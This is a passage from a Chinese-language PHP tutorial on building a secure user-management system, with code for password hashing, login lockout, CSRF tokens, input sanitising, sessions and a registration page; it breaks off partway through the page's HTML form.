                              $stmt = $this->db->prepare("SELECT * FROM users WHERE username = ?");
                              $stmt->execute([$username]);
                              return $stmt->fetch(PDO::FETCH_ASSOC);
                              }
                              private function isLockedOut($username) {
                              $stmt = $this->db->prepare("
                              SELECT COUNT(*) as attempts, MAX(attempt_time) as last_attempt
                              FROM login_attempts
                              WHERE username = ? AND attempt_time > DATE_SUB(NOW(), INTERVAL ? SECOND)
                              ");
                              $stmt->execute([$username, $this->lockoutTime]);
                              $result = $stmt->fetch();
                              return $result['attempts'] >= $this->maxAttempts;
                              }
                              private function recordFailedAttempt($username) {
                              $stmt = $this->db->prepare("INSERT INTO login_attempts (username, attempt_ip) VALUES (?, ?)");
                              $stmt->execute([$username, $_SERVER['REMOTE_ADDR']]);
                              }
                              private function resetFailedAttempts($username) {
                              $stmt = $this->db->prepare("DELETE FROM login_attempts WHERE username = ?");
                              $stmt->execute([$username]);
                              }
                              private function upgradePassword($userId, $password) {
                              $newHash = password_hash($password, PASSWORD_DEFAULT);
                              $stmt = $this->db->prepare("UPDATE users SET password_hash = ? WHERE id = ?");
                              $stmt->execute([$newHash, $userId]);
                              }
                              private function generateSessionToken($userId) {
                              $token = bin2hex(random_bytes(32));
                              $hashedToken = hash('sha256', $token);
                              // 存储到数据库
                              $stmt = $this->db->prepare("
                              INSERT INTO sessions (user_id, token_hash, created_at, expires_at)
                              VALUES (?, ?, NOW(), DATE_ADD(NOW(), INTERVAL 30 DAY))
                              ");
                              $stmt->execute([$userId, $hashedToken]);
                              return $token;
                              }
                              }
                              // 密码哈希算法比较
                            echo "<h4>不同哈希算法对比:</h4>";
                              $password = 'TestPassword123!';
                              $algorithms = [
                              'MD5' => function($pwd) { return md5($pwd); },
                              'SHA1' => function($pwd) { return sha1($pwd); },
                              'SHA256' => function($pwd) { return hash('sha256', $pwd); },
                              'BCRYPT' => function($pwd) { return password_hash($pwd, PASSWORD_BCRYPT); },
                              'ARGON2I' => function($pwd) { return password_hash($pwd, PASSWORD_ARGON2I); },
                              'ARGON2ID' => function($pwd) { return password_hash($pwd, PASSWORD_ARGON2ID); }
                              ];
                              echo "<table border='1' cellpadding='5'>";
                              echo "<tr><th>算法</th><th>哈希值</th><th>长度</th><th>安全性</th></tr>";
                                foreach ($algorithms as $name => $func) {
                                if ($name === 'ARGON2I' || $name === 'ARGON2ID') {
                                if (!defined('PASSWORD_ARGON2I')) {
                              echo "<tr><td>$name</td><td colspan='3'>不支持(需要PHP 7.2+)</td></tr>";
                                continue;
                                }
                                }
                                $hash = $func($password);
                                $length = strlen($hash);
                                $security = '';
                                switch($name) {
                                case 'MD5':
                                case 'SHA1':
                                $security = '❌ 不安全(已被破解)';
                                break;
                                case 'SHA256':
                                $security = '⚠️ 一般(需要加盐)';
                                break;
                                case 'BCRYPT':
                                $security = '✅ 安全(推荐)';
                                break;
                                case 'ARGON2I':
                                case 'ARGON2ID':
                                $security = '✅ 非常安全(最新标准)';
                                break;
                                }
                                echo "<tr>";
                                echo "<td>$name</td>";
                                echo "<td style='font-family: monospace;'>" . substr($hash, 0, 32) . "...</td>";
                                echo "<td>$length</td>";
                                echo "<td>$security</td>";
                                echo "</tr>";
                                }
                              echo "</table>";
                              // 密码破解时间估算(基于当前计算能力)
                            echo "<h4>密码破解时间估算(假设攻击者使用高端GPU):</h4>";
                              $passwords = [
                              '123456' => '立即',
                              'password' => '立即',
                              'Pass123' => '几分钟',
                              'MySecurePass123!' => '数百年',
                              'Xk8&g#2pL9@qW$5z' => '数百万年'
                              ];
                              echo "<ul>";
                                foreach ($passwords as $pwd => $time) {
                                $strength = PasswordSecurity::checkPasswordStrength($pwd);
                              echo "<li>密码: <code>$pwd</code> - 强度: {$strength['level']} - 破解时间: $time</li>";
                                }
                              echo "</ul>";
                              // 实际部署建议
                            echo "<h4>生产环境密码安全建议:</h4>";
                              echo "<ol>";
                              echo "<li>始终使用password_hash()和password_verify()函数</li>";
                              echo "<li>密码最小长度设置为12个字符</li>";
                              echo "<li>强制使用大小写字母、数字和特殊字符的组合</li>";
                              echo "<li>禁止使用常见密码和字典单词</li>";
                              echo "<li>定期提示用户更改密码(建议90天)</li>";
                              echo "<li>实现登录失败锁定机制</li>";
                              echo "<li>记录所有登录尝试(成功和失败)</li>";
                              echo "<li>使用HTTPS传输密码</li>";
                              echo "<li>考虑实现双因素认证(2FA)</li>";
                              echo "</ol>";
                              ?>

实战项目

项目名称:安全用户管理系统

项目需求分析

开发一个包含完整安全防护措施的用户管理系统,实现以下功能:

  1. 用户注册(包含邮箱验证)
  2. 安全登录(防暴力破解)
  3. 密码管理(修改、重置)
  4. 会话管理(安全登录状态维持)
  5. 用户资料管理
  6. 管理员后台(用户管理)

技术方案

  • 数据库设计:使用MySQL,包含users、sessions、login_attempts等表
  • 安全措施
  • 密码使用bcrypt哈希存储
  • 所有表单使用CSRF令牌防护
  • 用户输入进行XSS过滤
  • 数据库操作使用PDO预处理语句
  • 登录失败锁定机制
  • HTTPS强制使用(生产环境)
  • 架构设计:采用面向对象设计,遵循单一职责原则

分步骤实现

步骤1:数据库设计
-- 创建数据库
CREATE DATABASE secure_auth CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
USE secure_auth;
-- 用户表
CREATE TABLE users (
id INT PRIMARY KEY AUTO_INCREMENT,
username VARCHAR(50) UNIQUE NOT NULL,
email VARCHAR(100) UNIQUE NOT NULL,
password_hash VARCHAR(255) NOT NULL,
full_name VARCHAR(100),
is_active BOOLEAN DEFAULT TRUE,
is_verified BOOLEAN DEFAULT FALSE,
verification_token VARCHAR(64),
verification_expires DATETIME,
two_factor_secret VARCHAR(32),
two_factor_enabled BOOLEAN DEFAULT FALSE,
failed_attempts INT DEFAULT 0,
locked_until DATETIME,
last_login DATETIME,
password_changed_at DATETIME,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
INDEX idx_email (email),
INDEX idx_username (username)
);
-- 会话表
CREATE TABLE sessions (
id INT PRIMARY KEY AUTO_INCREMENT,
user_id INT NOT NULL,
token_hash VARCHAR(64) NOT NULL,
ip_address VARCHAR(45),
user_agent TEXT,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
expires_at DATETIME NOT NULL,
is_revoked BOOLEAN DEFAULT FALSE,
FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE,
INDEX idx_token_hash (token_hash),
INDEX idx_user_id (user_id)
);
-- 登录尝试记录表
CREATE TABLE login_attempts (
id INT PRIMARY KEY AUTO_INCREMENT,
username VARCHAR(50) NOT NULL,
attempt_ip VARCHAR(45),
attempt_time TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
is_successful BOOLEAN DEFAULT FALSE,
INDEX idx_username_time (username, attempt_time),
INDEX idx_ip_time (attempt_ip, attempt_time)
);
-- 密码重置表
CREATE TABLE password_resets (
id INT PRIMARY KEY AUTO_INCREMENT,
user_id INT NOT NULL,
token_hash VARCHAR(64) NOT NULL,
expires_at DATETIME NOT NULL,
is_used BOOLEAN DEFAULT FALSE,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE,
INDEX idx_token_hash (token_hash)
);
-- 安全日志表
CREATE TABLE security_logs (
id INT PRIMARY KEY AUTO_INCREMENT,
user_id INT,
event_type VARCHAR(50) NOT NULL,
ip_address VARCHAR(45),
user_agent TEXT,
details TEXT,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
INDEX idx_user_id (user_id),
INDEX idx_event_type (event_type),
INDEX idx_created_at (created_at)
);
步骤2:核心安全类实现
<?php
// File: includes/Security/CoreSecurity.php
/**
* 核心安全类
* 负责处理所有安全相关的操作
*/
class CoreSecurity {
private $db;
private $config;
public function __construct(PDO $db, array $config = []) {
$this->db = $db;
$this->config = array_merge([
'max_login_attempts' => 5,
'lockout_duration' => 900, // 15分钟
'session_timeout' => 1800, // 30分钟
'csrf_token_expiry' => 3600, // 1小时
'min_password_length' => 8,
'require_strong_password' => true
], $config);
}
/**
* 验证CSRF令牌
*/
public function validateCsrfToken($token, $formId = 'default') {
if (empty($token)) {
return false;
}
// 从Session获取存储的令牌
$storedToken = $_SESSION['csrf_tokens'][$formId] ?? null;
if (!$storedToken) {
return false;
}
// 检查是否过期
if (time() > $storedToken['expires']) {
unset($_SESSION['csrf_tokens'][$formId]);
return false;
}
// 安全比较
$isValid = hash_equals($storedToken['hash'], hash('sha256', $token));
// 使用后销毁(一次性令牌)
if ($isValid) {
unset($_SESSION['csrf_tokens'][$formId]);
}
return $isValid;
}
/**
* 生成CSRF令牌
*/
public function generateCsrfToken($formId = 'default') {
$token = bin2hex(random_bytes(32));
$_SESSION['csrf_tokens'][$formId] = [
'hash' => hash('sha256', $token),
'created' => time(),
'expires' => time() + $this->config['csrf_token_expiry']
];
// 清理过期令牌
$this->cleanupExpiredTokens();
return $token;
}
/**
* 清理过期令牌
*/
private function cleanupExpiredTokens() {
foreach ($_SESSION['csrf_tokens'] as $formId => $data) {
if (time() > $data['expires']) {
unset($_SESSION['csrf_tokens'][$formId]);
}
}
}
/**
* 过滤XSS攻击
*/
public function sanitizeInput($input, $context = 'html') {
if (is_array($input)) {
return array_map([$this, 'sanitizeInput'], $input);
}
$input = trim($input);
switch ($context) {
case 'html':
return htmlspecialchars($input, ENT_QUOTES | ENT_HTML5, 'UTF-8', false);
case 'attribute':
// 额外的属性过滤
$input = htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
return preg_replace('/[^a-zA-Z0-9\-_]/', '', $input);
case 'url':
if (filter_var($input, FILTER_VALIDATE_URL)) {
return filter_var($input, FILTER_SANITIZE_URL);
}
return '';
case 'email':
return filter_var($input, FILTER_SANITIZE_EMAIL);
case 'int':
return filter_var($input, FILTER_SANITIZE_NUMBER_INT);
case 'float':
return filter_var($input, FILTER_SANITIZE_NUMBER_FLOAT,
FILTER_FLAG_ALLOW_FRACTION | FILTER_FLAG_ALLOW_THOUSAND);
case 'sql':
// 注意:这只是辅助过滤,不能替代预处理语句
return $this->db->quote($input);
default:
return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
}
}
/**
* 记录安全事件
*/
public function logSecurityEvent($userId, $eventType, $details = '') {
$stmt = $this->db->prepare("
INSERT INTO security_logs
(user_id, event_type, ip_address, user_agent, details)
VALUES (?, ?, ?, ?, ?)
");
$stmt->execute([
$userId,
$eventType,
$_SERVER['REMOTE_ADDR'] ?? '0.0.0.0',
$_SERVER['HTTP_USER_AGENT'] ?? '',
$details
]);
return $this->db->lastInsertId();
}
/**
* 检查暴力破解
*/
public function checkBruteForce($username) {
$stmt = $this->db->prepare("
SELECT COUNT(*) as attempts
FROM login_attempts
WHERE username = ?
AND attempt_time > DATE_SUB(NOW(), INTERVAL ? SECOND)
AND is_successful = 0
");
$stmt->execute([$username, $this->config['lockout_duration']]);
$result = $stmt->fetch();
return $result['attempts'] >= $this->config['max_login_attempts'];
}
/**
* 记录登录尝试
*/
public function recordLoginAttempt($username, $isSuccessful) {
$stmt = $this->db->prepare("
INSERT INTO login_attempts
(username, attempt_ip, is_successful)
VALUES (?, ?, ?)
");
$stmt->execute([
$username,
$_SERVER['REMOTE_ADDR'] ?? '0.0.0.0',
$isSuccessful ? 1 : 0
]);
// 如果失败次数过多,锁定账户
if (!$isSuccessful) {
$this->checkAndLockAccount($username);
}
}
/**
* 检查并锁定账户
*/
private function checkAndLockAccount($username) {
$stmt = $this->db->prepare("
SELECT COUNT(*) as attempts
FROM login_attempts
WHERE username = ?
AND attempt_time > DATE_SUB(NOW(), INTERVAL ? SECOND)
AND is_successful = 0
");
$stmt->execute([$username, $this->config['lockout_duration']]);
$result = $stmt->fetch();
if ($result['attempts'] >= $this->config['max_login_attempts']) {
$stmt = $this->db->prepare("
UPDATE users
SET locked_until = DATE_ADD(NOW(), INTERVAL ? SECOND)
WHERE username = ?
");
$stmt->execute([$this->config['lockout_duration'], $username]);
// 记录安全事件
$this->logSecurityEvent(
null,
'ACCOUNT_LOCKED',
"账户 $username 因多次失败尝试被锁定"
);
}
}
/**
* 验证密码强度
*/
public function validatePasswordStrength($password) {
$errors = [];
// 长度检查
if (strlen($password) < $this->config['min_password_length']) {
  $errors[] = "密码至少需要 {$this->config['min_password_length']} 个字符";
  }
  if ($this->config['require_strong_password']) {
  // 大写字母检查
  if (!preg_match('/[A-Z]/', $password)) {
  $errors[] = "需要包含至少一个大写字母";
  }
  // 小写字母检查
  if (!preg_match('/[a-z]/', $password)) {
  $errors[] = "需要包含至少一个小写字母";
  }
  // 数字检查
  if (!preg_match('/[0-9]/', $password)) {
  $errors[] = "需要包含至少一个数字";
  }
  // 特殊字符检查
  if (!preg_match('/[^A-Za-z0-9]/', $password)) {
  $errors[] = "需要包含至少一个特殊字符";
  }
  }
  // 常见密码检查
  $commonPasswords = [
  '123456', 'password', '12345678', 'qwerty', 'abc123',
  '123456789', '111111', '1234567', 'iloveyou', 'admin'
  ];
  if (in_array(strtolower($password), $commonPasswords)) {
  $errors[] = "密码过于常见,请选择更复杂的密码";
  }
  // 密码相似度检查(防止与用户名、邮箱相似)
  if (isset($_POST['username']) && similar_text($password, $_POST['username']) > 3) {
  $errors[] = "密码不能与用户名太相似";
  }
  if (isset($_POST['email'])) {
  $emailParts = explode('@', $_POST['email']);
  if (similar_text($password, $emailParts[0]) > 3) {
  $errors[] = "密码不能与邮箱前缀太相似";
  }
  }
  return [
  'is_valid' => empty($errors),
  'errors' => $errors
  ];
  }
  /**
  * 生成安全的随机字符串
  */
  public function generateRandomString($length = 32) {
  return bin2hex(random_bytes($length / 2));
  }
  /**
  * 设置安全HTTP头
  */
  public function setSecurityHeaders() {
  // CSP头
  header("Content-Security-Policy: " . implode('; ', [
  "default-src 'self'",
  "script-src 'self' 'unsafe-inline'",
  "style-src 'self' 'unsafe-inline'",
  "img-src 'self' data: https:",
  "font-src 'self'",
  "connect-src 'self'",
  "frame-ancestors 'none'",
  "form-action 'self'"
  ]));
  // 其他安全头
  header("X-Content-Type-Options: nosniff");
  header("X-Frame-Options: DENY");
  header("X-XSS-Protection: 1; mode=block");
  header("Referrer-Policy: strict-origin-when-cross-origin");
  // HSTS头(生产环境使用)
  if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') {
  header("Strict-Transport-Security: max-age=31536000; includeSubDomains");
  }
  }
  }
  ?>
步骤3:用户认证类实现
<?php
// File: includes/Security/AuthManager.php
/**
* 用户认证管理器
* 处理用户注册、登录、会话管理等核心功能
*/
class AuthManager {
private $db;
private $security;
public function __construct(PDO $db, CoreSecurity $security) {
$this->db = $db;
$this->security = $security;
}
/**
* 用户注册
*/
public function register($username, $email, $password, $fullName = '') {
try {
// 开始事务
$this->db->beginTransaction();
// 验证输入
$this->validateRegistrationInput($username, $email, $password);
// 检查用户是否已存在
if ($this->userExists($username, $email)) {
throw new Exception('用户名或邮箱已被注册');
}
// 哈希密码
$hashedPassword = password_hash($password, PASSWORD_DEFAULT);
// 生成验证令牌
$verificationToken = $this->security->generateRandomString(32);
$verificationExpires = date('Y-m-d H:i:s', time() + 86400); // 24小时后过期
// 插入用户记录
$stmt = $this->db->prepare("
INSERT INTO users
(username, email, password_hash, full_name, verification_token, verification_expires)
VALUES (?, ?, ?, ?, ?, ?)
");
$stmt->execute([
$username,
$email,
$hashedPassword,
$fullName,
$verificationToken,
$verificationExpires
]);
$userId = $this->db->lastInsertId();
// 发送验证邮件(实际项目中需要实现)
$this->sendVerificationEmail($email, $verificationToken);
// 记录安全事件
$this->security->logSecurityEvent(
$userId,
'USER_REGISTERED',
"新用户注册: $username ($email)"
);
// 提交事务
$this->db->commit();
return [
'success' => true,
'user_id' => $userId,
'message' => '注册成功,请查收验证邮件'
];
} catch (Exception $e) {
// 回滚事务
$this->db->rollBack();
// 记录错误
error_log("注册失败: " . $e->getMessage());
return [
'success' => false,
'message' => $e->getMessage()
];
}
}
/**
* 用户登录
*/
public function login($username, $password, $rememberMe = false) {
try {
// 检查暴力破解
if ($this->security->checkBruteForce($username)) {
throw new Exception('账户已被锁定,请稍后再试');
}
// 获取用户信息
$user = $this->getUserByUsernameOrEmail($username);
if (!$user) {
$this->security->recordLoginAttempt($username, false);
throw new Exception('用户名或密码错误');
}
// 检查账户状态
if (!$user['is_active']) {
throw new Exception('账户已被禁用,请联系管理员');
}
if ($user['locked_until'] && strtotime($user['locked_until']) > time()) {
$lockTime = date('Y-m-d H:i', strtotime($user['locked_until']));
throw new Exception("账户已被锁定至 $lockTime");
}
// 验证密码
if (!password_verify($password, $user['password_hash'])) {
$this->security->recordLoginAttempt($username, false);
throw new Exception('用户名或密码错误');
}
// 检查是否需要重新哈希
if (password_needs_rehash($user['password_hash'], PASSWORD_DEFAULT)) {
$this->upgradePassword($user['id'], $password);
}
// 重置失败尝试计数
$this->resetFailedAttempts($username);
// 创建会话
$sessionData = $this->createUserSession($user['id'], $rememberMe);
// 更新最后登录时间
$this->updateLastLogin($user['id']);
// 记录成功登录
$this->security->recordLoginAttempt($username, true);
$this->security->logSecurityEvent(
$user['id'],
'LOGIN_SUCCESS',
"用户登录成功"
);
return [
'success' => true,
'user' => [
'id' => $user['id'],
'username' => $user['username'],
'email' => $user['email'],
'full_name' => $user['full_name']
],
'session' => $sessionData,
'requires_2fa' => $user['two_factor_enabled']
];
} catch (Exception $e) {
return [
'success' => false,
'message' => $e->getMessage()
];
}
}
/**
* 创建用户会话
*/
private function createUserSession($userId, $rememberMe = false) {
// 生成会话令牌
$sessionToken = $this->security->generateRandomString(32);
$hashedToken = hash('sha256', $sessionToken);
// 计算过期时间
$expiresAt = $rememberMe
? date('Y-m-d H:i:s', time() + 2592000) // 30天
: date('Y-m-d H:i:s', time() + 86400);   // 1天
// 存储到数据库
$stmt = $this->db->prepare("
INSERT INTO sessions
(user_id, token_hash, ip_address, user_agent, expires_at)
VALUES (?, ?, ?, ?, ?)
");
$stmt->execute([
$userId,
$hashedToken,
$_SERVER['REMOTE_ADDR'] ?? '0.0.0.0',
$_SERVER['HTTP_USER_AGENT'] ?? '',
$expiresAt
]);
// 设置Cookie
$cookieExpiry = $rememberMe ? time() + 2592000 : 0; // 0表示浏览器关闭时过期
setcookie('session_token', $sessionToken, [
'expires' => $cookieExpiry,
'path' => '/',
'domain' => '',
'secure' => isset($_SERVER['HTTPS']),
'httponly' => true,
'samesite' => 'Strict'
]);
return [
'token' => $sessionToken,
'expires' => $expiresAt
];
}
/**
* 验证会话
*/
public function validateSession($sessionToken) {
if (empty($sessionToken)) {
return false;
}
$hashedToken = hash('sha256', $sessionToken);
$stmt = $this->db->prepare("
SELECT s.*, u.*
FROM sessions s
JOIN users u ON s.user_id = u.id
WHERE s.token_hash = ?
AND s.expires_at > NOW()
AND s.is_revoked = 0
AND u.is_active = 1
");
$stmt->execute([$hashedToken]);
$session = $stmt->fetch(PDO::FETCH_ASSOC);
if (!$session) {
return false;
}
// 检查IP和User-Agent是否匹配(可选,但更安全)
$currentIp = $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0';
$currentUserAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
if ($session['ip_address'] !== $currentIp ||
$session['user_agent'] !== $currentUserAgent) {
// 记录可疑活动
$this->security->logSecurityEvent(
$session['user_id'],
'SESSION_HIJACK_ATTEMPT',
"IP或User-Agent不匹配"
);
// 可以选择使会话失效
$this->revokeSession($hashedToken);
return false;
}
// 更新会话过期时间(滑动过期)
$newExpiry = date('Y-m-d H:i:s', time() + 3600); // 延长1小时
$stmt = $this->db->prepare("
UPDATE sessions
SET expires_at = ?
WHERE token_hash = ?
");
$stmt->execute([$newExpiry, $hashedToken]);
return [
'user' => [
'id' => $session['user_id'],
'username' => $session['username'],
'email' => $session['email'],
'full_name' => $session['full_name']
],
'session' => $session
];
}
/**
* 用户退出
*/
public function logout($sessionToken = null) {
if ($sessionToken === null) {
$sessionToken = $_COOKIE['session_token'] ?? '';
}
if (!empty($sessionToken)) {
$hashedToken = hash('sha256', $sessionToken);
$this->revokeSession($hashedToken);
}
// 清除Cookie
setcookie('session_token', '', [
'expires' => time() - 3600,
'path' => '/',
'domain' => '',
'secure' => isset($_SERVER['HTTPS']),
'httponly' => true
]);
// 销毁Session
session_destroy();
return true;
}
/**
* 撤销会话
*/
private function revokeSession($hashedToken) {
$stmt = $this->db->prepare("
UPDATE sessions
SET is_revoked = 1
WHERE token_hash = ?
");
return $stmt->execute([$hashedToken]);
}
/**
* 修改密码
*/
public function changePassword($userId, $currentPassword, $newPassword) {
try {
// 获取当前密码哈希
$stmt = $this->db->prepare("SELECT password_hash FROM users WHERE id = ?");
$stmt->execute([$userId]);
$user = $stmt->fetch();
if (!$user || !password_verify($currentPassword, $user['password_hash'])) {
throw new Exception('当前密码错误');
}
// 验证新密码强度
$validation = $this->security->validatePasswordStrength($newPassword);
if (!$validation['is_valid']) {
throw new Exception('新密码强度不足: ' . implode(', ', $validation['errors']));
}
// 检查是否与旧密码相同
if (password_verify($newPassword, $user['password_hash'])) {
throw new Exception('新密码不能与当前密码相同');
}
// 更新密码
$newHash = password_hash($newPassword, PASSWORD_DEFAULT);
$stmt = $this->db->prepare("
UPDATE users
SET password_hash = ?, password_changed_at = NOW()
WHERE id = ?
");
$stmt->execute([$newHash, $userId]);
// 撤销所有活跃会话(除了当前会话)
$this->revokeAllSessionsExceptCurrent($userId);
// 记录安全事件
$this->security->logSecurityEvent(
$userId,
'PASSWORD_CHANGED',
"用户修改密码"
);
return [
'success' => true,
'message' => '密码修改成功,请重新登录'
];
} catch (Exception $e) {
return [
'success' => false,
'message' => $e->getMessage()
];
}
}
/**
* 发送密码重置邮件
*/
public function requestPasswordReset($email) {
try {
// 获取用户
$stmt = $this->db->prepare("SELECT id, username FROM users WHERE email = ?");
$stmt->execute([$email]);
$user = $stmt->fetch();
if (!$user) {
// 为了安全,即使用户不存在也返回成功消息
return [
'success' => true,
'message' => '如果邮箱存在,重置链接已发送'
];
}
// 生成重置令牌
$resetToken = $this->security->generateRandomString(32);
$hashedToken = hash('sha256', $resetToken);
$expiresAt = date('Y-m-d H:i:s', time() + 3600); // 1小时后过期
// 存储重置令牌
$stmt = $this->db->prepare("
INSERT INTO password_resets
(user_id, token_hash, expires_at)
VALUES (?, ?, ?)
");
$stmt->execute([$user['id'], $hashedToken, $expiresAt]);
// 发送重置邮件(实际项目中需要实现)
$this->sendPasswordResetEmail($email, $resetToken);
// 记录安全事件
$this->security->logSecurityEvent(
$user['id'],
'PASSWORD_RESET_REQUESTED',
"请求重置密码"
);
return [
'success' => true,
'message' => '重置链接已发送到您的邮箱'
];
} catch (Exception $e) {
error_log("密码重置请求失败: " . $e->getMessage());
return [
'success' => false,
'message' => '请求失败,请稍后重试'
];
}
}
// 辅助方法
private function validateRegistrationInput($username, $email, $password) {
// 用户名验证
if (!preg_match('/^[a-zA-Z0-9_]{3,20}$/', $username)) {
throw new Exception('用户名只能包含字母、数字和下划线,长度3-20位');
}
// 邮箱验证
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
throw new Exception('邮箱格式不正确');
}
// 密码强度验证
$validation = $this->security->validatePasswordStrength($password);
if (!$validation['is_valid']) {
throw new Exception('密码强度不足: ' . implode(', ', $validation['errors']));
}
}
private function userExists($username, $email) {
$stmt = $this->db->prepare("
SELECT id FROM users WHERE username = ? OR email = ?
");
$stmt->execute([$username, $email]);
return $stmt->fetch() !== false;
}
private function getUserByUsernameOrEmail($identifier) {
$stmt = $this->db->prepare("
SELECT * FROM users
WHERE username = ? OR email = ?
LIMIT 1
");
$stmt->execute([$identifier, $identifier]);
return $stmt->fetch(PDO::FETCH_ASSOC);
}
private function resetFailedAttempts($username) {
$stmt = $this->db->prepare("DELETE FROM login_attempts WHERE username = ?");
$stmt->execute([$username]);
$stmt = $this->db->prepare("UPDATE users SET locked_until = NULL WHERE username = ?");
$stmt->execute([$username]);
}
private function upgradePassword($userId, $password) {
$newHash = password_hash($password, PASSWORD_DEFAULT);
$stmt = $this->db->prepare("
UPDATE users
SET password_hash = ?
WHERE id = ?
");
$stmt->execute([$newHash, $userId]);
}
private function updateLastLogin($userId) {
$stmt = $this->db->prepare("
UPDATE users
SET last_login = NOW()
WHERE id = ?
");
$stmt->execute([$userId]);
}
private function revokeAllSessionsExceptCurrent($userId) {
// 在实际项目中实现
}
private function sendVerificationEmail($email, $token) {
// 在实际项目中实现邮件发送
error_log("验证邮件发送到: $email, 令牌: $token");
}
private function sendPasswordResetEmail($email, $token) {
// 在实际项目中实现邮件发送
error_log("重置邮件发送到: $email, 令牌: $token");
}
}
?>
步骤4:前端表单和页面实现
<?php
// File: register.php
require_once 'includes/Security/CoreSecurity.php';
require_once 'includes/Security/AuthManager.php';
// 初始化
session_start();
$db = new PDO('mysql:host=localhost;dbname=secure_auth;charset=utf8mb4', 'root', '');
$security = new CoreSecurity($db);
$auth = new AuthManager($db, $security);
// 设置安全头
$security->setSecurityHeaders();
// 处理注册请求
$message = '';
$success = false;
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// 验证CSRF令牌
if (!$security->validateCsrfToken($_POST['csrf_token'] ?? '', 'register')) {
$message = '安全令牌验证失败,请刷新页面重试';
} else {
// 获取并清理输入
$username = $security->sanitizeInput($_POST['username'] ?? '', 'html');
$email = $security->sanitizeInput($_POST['email'] ?? '', 'email');
$password = $_POST['password'] ?? '';
$confirmPassword = $_POST['confirm_password'] ?? '';
$fullName = $security->sanitizeInput($_POST['full_name'] ?? '', 'html');
// 验证密码确认
if ($password !== $confirmPassword) {
$message = '两次输入的密码不一致';
} else {
// 执行注册
$result = $auth->register($username, $email, $password, $fullName);
$message = $result['message'];
$success = $result['success'];
}
}
}
// 生成CSRF令牌
$csrfToken = $security->generateCsrfToken('register');
?>
<!DOCTYPE html>
  <html lang="zh-CN">
    <head>
      <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
          <title>用户注册 - 安全认证系统</title>
            <style>
              body {
              font-family: Arial, sans-serif;
              background-color: #f5f5f5;
              margin: 0;
              padding: 20px;
              }
              .container {
              max-width: 400px;
              margin: 50px auto;
              background: white;
              padding: 30px;
              border-radius: 8px;
              box-shadow: 0 2px 10px rgba(0,0,0,0.1);
              }
              h1 {
              text-align: center;
              color: #333;
              margin-bottom: 30px;
              }
              .form-group {
              margin-bottom: 20px;
              }
              label {
              display: block;
              margin-bottom: 5px;
              color: #555;
              font-weight: bold;
              }
              input[type="text"],
              input[type="email"],
              input[type="password"] {
              width: 100%;
              padding: 10px;
              border: 1px solid #ddd;
              border-radius: 4px;
              box-sizing: border-box;
              }
              input:focus {
              outline: none;
              border-color: #4CAF50;
              box-shadow: 0 0 5px rgba(76, 175, 80, 0.3);
              }
              .password-strength {
              height: 5px;
              background: #eee;
              border-radius: 3px;
              margin-top: 5px;
              overflow: hidden;
              }
              .strength-meter {
              height: 100%;
              width: 0;
              transition: width 0.3s, background-color 0.3s;
              }
              .strength-weak { background-color: #ff4444; width: 33%; }
              .strength-medium { background-color: #ffbb33; width: 66%; }
              .strength-strong { background-color: #00C851; width: 100%; }
              .requirements {
              font-size: 12px;
              color: #666;
              margin-top: 5px;
              }
              .requirement {
              display: flex;
              align-items: center;
              margin-bottom: 2px;
              }
              .requirement.valid { color: #00C851; }
              .requirement.invalid { color: #ff4444; }
              .requirement::before {
              content: '○';
              margin-right: 5px;
              }
              .requirement.valid::before { content: '✓'; }
              .btn {
              width: 100%;
              padding: 12px;
              background-color: #4CAF50;
              color: white;
              border: none;
              border-radius: 4px;
              cursor: pointer;
              font-size: 16px;
              font-weight: bold;
              }
              .btn:hover {
              background-color: #45a049;
              }
              .message {
              padding: 10px;
              border-radius: 4px;
              margin-bottom: 20px;
              text-align: center;
              }
              .message.success {
              background-color: #d4edda;
              color: #155724;
              border: 1px solid #c3e6cb;
              }
              .message.error {
              background-color: #f8d7da;
              color: #721c24;
              border: 1px solid #f5c6cb;
              }
              .login-link {
              text-align: center;
              margin-top: 20px;
              }
              .login-link a {
              color: #4CAF50;
              text-decoration: none;
              }
              .login-link a:hover {
              text-decoration: underline;
              }
              </style>
                </head>
                  <body>
                    <div class="container">
                      <h1>用户注册</h1>
                        <?php if ($message): ?>
                          <div class="message <?php echo $success ? 'success' : 'error'; ?>">
                            <?php echo htmlspecialchars($message); ?>
                              </div>
                                <?php endif; ?>
                                  <form method="POST" id="registerForm">
                                    <input type="hidden" name="csrf_token" value="<?php echo htmlspecialchars($csrfToken); ?>">
                                      <div class="form-group">
                                        <label for="username">用户名</label>
                                          <input type="text" id="username" name="username" required
                                          pattern="[a-zA-Z0-9_]{3,20}"
                                          title="只能包含字母、数字和下划线,长度3-20位">
                                          <div class="requirements">
                                            <div class="requirement invalid" id="req-username-length">3-20个字符</div>
                                              <div class="requirement invalid" id="req-username-chars">仅字母、数字、下划线</div>
                                                </div>
                                                  </div>
                                                    <div class="form-group">
                                                      <label for="email">邮箱地址</label>
                                                        <input type="email" id="email" name="email" required>
                                                          <div class="requirements">
                                                            <div class="requirement invalid" id="req-email-valid">有效的邮箱格式</div>
                                                              </div>
                                                                </div>
                                                                  <div class="form-group">
                                                                    <label for="full_name">姓名(可选)</label>
                                                                      <input type="text" id="full_name" name="full_name">
                                                                        </div>
                                                                          <div class="form-group">
                                                                            <label for="password">密码</label>
                                                                              <input type="password" id="password" name="password" required>
                                                                                <div class="password-strength">
                                                                                  <div class="strength-meter" id="passwordStrength"></div>
                                                                                    </div>
                                                                                      <div class="requirements">
                                                                                        <div class="requirement invalid" id="req-length">至少8个字符</div>
